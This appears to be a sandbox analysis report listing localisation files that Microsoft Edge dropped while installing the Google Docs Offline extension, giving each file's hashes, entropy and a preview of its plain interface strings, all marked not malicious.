Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
